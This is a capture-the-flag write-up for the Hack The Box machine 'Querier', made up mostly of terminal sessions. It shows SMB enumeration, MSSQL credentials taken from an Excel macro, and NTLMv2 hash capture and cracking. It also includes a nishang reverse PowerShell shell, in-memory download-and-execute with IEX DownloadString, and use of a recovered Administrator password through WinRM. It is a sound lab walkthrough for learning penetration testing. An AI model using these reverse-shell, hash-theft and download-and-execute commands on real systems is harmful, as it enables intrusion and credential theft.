nihilist - Querier Writeup

Part 2 : Getting User Access

Our nmap scan picked up the smb service running, so let's enumerate it using smbmap:


[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~]
→ smbmap -u invalid -H 10.10.10.125
[!] Authentication error on 10.10.10.125

[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~]
→ smbmap -u invalid -H 10.10.10.125
[+] Guest session       IP: 10.10.10.125:445    Name: 10.10.10.125
       Disk                                                    Permissions     Comment
       ----                                                    -----------     -------
       ADMIN$                                                  NO ACCESS       Remote Admin
       C$                                                      NO ACCESS       Default share
       IPC$                                                    READ ONLY       Remote IPC
       Reports                                                 READ ONLY

So here we see that there is a Reports share that is READ ONLY, which our user can access, so let's login via smbclient:


[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~]
→ sudo smbclient -U QUERIER/invalid //10.10.10.125/Reports
[sudo] password for nihilist:
do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_IO_TIMEOUT)

[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~]
→ sudo smbclient -U QUERIER/invalid //10.10.10.125/Reports
Enter QUERIER\invalid's password:
Try "help" to get a list of possible commands.
smb: \> ls
.                                   D        0  Mon Jan 28 23:23:48 2019
..                                  D        0  Mon Jan 28 23:23:48 2019
Currency Volume Report.xlsm         A    12229  Sun Jan 27 22:21:34 2019

6469119 blocks of size 4096. 1597460 blocks available
smb: \> get Currency Volume Report.xlsm
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Currency
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (15.5 KiloBytes/sec) (average 15.5 KiloBytes/sec)
smb: \> exit

[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~]
→ mkdir _HTB/Querier && mv Currency\ Volume\ Report.xlsm _HTB/Querier

[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~]
→ cd _HTB/Querier && file "Currency Volume Report.xlsm"
Currency Volume Report.xlsm: Microsoft Excel 2007+

Here as we can see, the smb service was a bit unstable but after spamming it we ended up being able to login and getting a MS Excel 2007 file which is basically a zip compressed file. we can see the contents of that macro file without using libreoffice as you can see below:


[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
→ unzip Currency\ Volume\ Report.xlsm
Archive:  Currency Volume Report.xlsm
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/theme/theme1.xml
  inflating: xl/styles.xml
  inflating: xl/vbaProject.bin
  inflating: docProps/core.xml
  inflating: docProps/app.xml

From here we needed to each file until we checking xl/vbaProject.bin:


[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
→ cd xl

[ 10.10.14.42/23 ] [ /dev/pts/6 ] [_HTB/Querier/xl]
→ strings vbaProject.bin
 macro to pull data for client volume reports
 n.Conn]
 Open
 rver=<
           SELECT * FROM volume;
           word>
            MsgBox "connection successful"
            Set rs = conn.Execute("SELECT * @@version;")
            Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
             further testing required
             Attribut
             e VB_Nam
             e = "Thi

So from here we know that the vbaProject.bin has an username and a password required for the MSSQL server hardcoded within the macro (reporting:PcwTWTHRwryjc$c6) so from there we can connect to the mssql server using impacket's mssqlclient.py:



[ 10.10.14.42/23 ] [ /dev/pts/6 ] [_HTB/Querier/xl]
→ locate mssqlclient.py
/usr/share/doc/python3-impacket/examples/mssqlclient.py

[ 10.10.14.42/23 ] [ /dev/pts/6 ] [_HTB/Querier/xl]
→ cd .. && cp /usr/share/doc/python3-impacket/examples/mssqlclient.py .

[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
→ python mssqlclient.py -windows-auth querier/reporting@10.10.10.125
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[-] ERROR(QUERIER): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.

So from here we basically need to add the correct domain name to our /etc/hosts file:


[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
→ echo '10.10.10.125 querier.htb' >> /etc/hosts

And only then use mssqlclient.py:



[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
→ python3 mssqlclient.py -windows-auth querier/reporting@querier.htb
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> xp_cmdshell "whoami";
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL> EXEC sp_configure 'show advanced options', 1;
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
SQL> RECONFIGURE;
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.

Once we are logged in as the user reporting on the MSSQL server, we don't have enough privileges to use xp_cmdshell or sp_configure, however we are able to trigger an SMB connection back to us with xp_dirtree in order to steal the NTLMv2 hash from the server thanks to responder:

Terminal 1:


[ 10.10.14.42/23 ] [ /dev/pts/8 ] [~]
→ responder -I tun0

Terminal 2:


SQL> EXEC master.dbo.xp_dirtree '\\10.10.14.42\nihilist';
SQL>

Once we have the NTLMv2 hash we give it to hashcat for it to bruteforce with the rockyou.txt wordlist:


[ 10.10.14.42/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
→ hashcat -m 5600 ntlm /usr/share/wordlists/rockyou.txt --bruteforce

Let it run and we get the mssql-svc's password corporate568 which we can use to log into the mssql service with more privileges :


mssql-svc:corporate568

With these we have alot more privileges on the database:


  [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB]
  → locate mssqlclient.py
  /usr/share/doc/python3-impacket/examples/mssqlclient.py

  [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB]
  → cd Querier

  [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Querier]
  → cp /usr/share/doc/python3-impacket/examples/mssqlclient.py .

We could use that mssqlclient.py script or we could use alamot's python script Or even we'll use Tsuki CTF's way which consists in using sqsh:


  [ 10.10.14.6/23 ] [ /dev/pts/4 ] [~/_HTB/Querier]
  → sqsh -S 10.10.10.125 -U 'QUERIER\mssql-svc' -P 'corporate568'
  sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
  Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
  This is free software with ABSOLUTELY NO WARRANTY
  For more information type '\warranty'
  1>

And we are logged in ! now for this next part we'll use nishang's Invoke-PowershellTcp.ps1 and PowerSploit's PowerUp.ps1:


  [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
  → wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
  --2020-04-14 20:22:31--  https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
  Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133
  Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 4339 (4.2K) [text/plain]
  Saving to: ‘Invoke-PowerShellTcp.ps1’

  Invoke-PowerShellTcp.ps1   100%[=====================================>]   4.24K  --.-KB/s    in 0s

  2020-04-14 20:22:31 (10.6 MB/s) - ‘Invoke-PowerShellTcp.ps1’ saved [4339/4339]


  [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
  → wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
  --2020-04-14 20:24:35--  https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
  Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133
  Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 562841 (550K) [text/plain]
  Saving to: ‘PowerUp.ps1’

  PowerUp.ps1                100%[=====================================>] 549.65K  1.91MB/s    in 0.3s

  2020-04-14 20:24:36 (1.91 MB/s) - ‘PowerUp.ps1’ saved [562841/562841]


  [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
  → echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001' >> Invoke-PowerShellTcp.ps1

  [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
  → mv Invoke-PowerShellTcp.ps1 rev.ps1

  [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Querier]
  → python3 -m http.server 80

Once we have them both, we setup our simplehttpserver (which is http.server in python3) and from the mssql shell we have we can trigger our reverse shell and catch the incoming connection on our port 9001 using netcat:


  [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier]
  → nc -lvnp 9001
  listening on [any] 9001 ...
  connect to [10.10.14.6] from (UNKNOWN) [10.10.10.125] 49676
  Windows PowerShell running as user mssql-svc on QUERIER
  Copyright (C) 2015 Microsoft Corporation. All rights reserved.

  PS C:\Windows\system32>cd C:\
  PS C:\> ls


      Directory: C:\


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  d-----        9/15/2018   8:19 AM                PerfLogs
  d-r---        1/28/2019  11:55 PM                Program Files
  d-----        1/29/2019  12:02 AM                Program Files (x86)
  d-----        1/28/2019  11:23 PM                Reports
  d-r---        1/28/2019  11:41 PM                Users
  d-----        1/28/2019  11:10 PM                Windows


  PS C:\> cd Users
  PS C:\Users> ls


      Directory: C:\Users


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  d-----        1/28/2019  10:17 PM                Administrator
  d-----        1/28/2019  11:42 PM                mssql-svc
  d-r---        1/28/2019  10:17 PM                Public


  PS C:\Users> cd mssql-svc
  PS C:\Users\mssql-svc> ls


      Directory: C:\Users\mssql-svc


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  d-r---        1/28/2019  11:42 PM                3D Objects
  d-r---        1/28/2019  11:42 PM                Contacts
  d-r---        1/28/2019  11:42 PM                Desktop
  d-r---        1/28/2019  11:42 PM                Documents
  d-r---        1/28/2019  11:42 PM                Downloads
  d-r---        1/28/2019  11:42 PM                Favorites
  d-r---        1/28/2019  11:42 PM                Links
  d-r---        1/28/2019  11:42 PM                Music
  d-r---        1/28/2019  11:42 PM                Pictures
  d-r---        1/28/2019  11:42 PM                Saved Games
  d-r---        1/28/2019  11:42 PM                Searches
  d-r---        1/28/2019  11:42 PM                Videos


  PS C:\Users\mssql-svc> cd Desktop
  PS C:\Users\mssql-svc\Desktop> cat user.txt
  c3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the user flag.

Part 3 : Getting Root Access

Now from there we'll upload our PowerUp.ps1 to enumerate the box from inside powershell:


  PS C:\Users\mssql-svc\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.6/PowerUp.ps1'); Invoke-AllChecks
  [*] Running Invoke-AllChecks
  [*] Checking if user is in a local group with administrative privileges...
  [*] Checking for unquoted service paths...
  [*] Checking service executable and argument permissions...
  [*] Checking service permissions...
  ServiceName   : UsoSvc
  Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
  StartName     : LocalSystem
  AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
  CanRestart    : True

  [*] Checking %PATH% for potentially hijackable DLL locations...
  ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
  IdentityReference : QUERIER\mssql-svc
  Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
  %PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
  AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

  [*] Checking for AlwaysInstallElevated registry key...
  [*] Checking for Autologon credentials in registry...
  [*] Checking for modifidable registry autoruns and configs...
  [*] Checking for modifiable schtask files/configs...
  [*] Checking for unattended install files...
  UnattendPath : C:\Windows\Panther\Unattend.xml

  [*] Checking for encrypted web.config strings...
  [*] Checking for encrypted application pool and virtual directory passwords...
  [*] Checking for plaintext passwords in McAfee SiteList.xml files....
  [*] Checking for cached Group Policy Preferences .xml files....
  Changed   : {2019-01-28 23:12:48}
  UserNames : {Administrator}
  NewName   : [BLANK]
  Passwords : {MyUnclesAreMarioAndLuigi!!1!}
  File      : C:\ProgramData\Microsoft\Group
              Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml

  PS C:\Users\mssql-svc\Desktop> Get-ChildItem : Access to the path 'C:\ProgramData\VMware\VMware Tools\GuestProxyData\trusted' is denied.
  At line:3704 char:21
  + ... $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.x ...
  +                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      + CategoryInfo          : PermissionDenied: (C:\ProgramData\...oxyData\trusted:String) [Get-ChildItem], Unauthoriz
     edAccessException
      + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

And it revealed us the Administrator password which is "MyUnclesAreMarioAndLuigi!!1!" so we use it to privesc via port 445 (microsoft-ds) that our nmap scan picked up earlier, we'll use psexec.py for that part:


  [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier]
  → locate psexec.py
  /usr/share/doc/python3-impacket/examples/psexec.py
  /usr/share/set/src/fasttrack/psexec.py

  [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier]
  → cp /usr/share/doc/python3-impacket/examples/psexec.py .

  [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier]
  → python3 psexec.py

We could use psexec.py but for this part we'll use snowscan's script which is a WinRM script that was made originally by alamot:


  [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier]
  → nano snowscan_is_awesome.rb


  require 'winrm'

  # Author: Alamot

  conn = WinRM::Connection.new(
    endpoint: 'http://10.10.10.125:5985/wsman',
    user: 'querier\administrator',
    password: 'MyUnclesAreMarioAndLuigi!!1!',
  )

  command=""

  conn.shell(:powershell) do |shell|
      until command == "exit\n" do
          output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
          print(output.output.chomp)
          command = gets
          output = shell.run(command) do |stdout, stderr|
              STDOUT.print stdout
              STDERR.print stderr
          end
      end
      puts "Exiting with code #{output.exitcode}"
  end


  [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~/_HTB/Querier]
  → ruby querier.rb
  PS querier\administrator@QUERIER Documents> whoami
  querier\administrator
  PS querier\administrator@QUERIER Documents> type c:\users\administrator\desktop\root.txt
  b1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the root flag.

Querier Writeup

Introduction :

Part 1 : Initial Enumeration

Part 2 : Getting User Access

Part 3 : Getting Root Access

Conclusion

Nihilism

My Links

About nihilist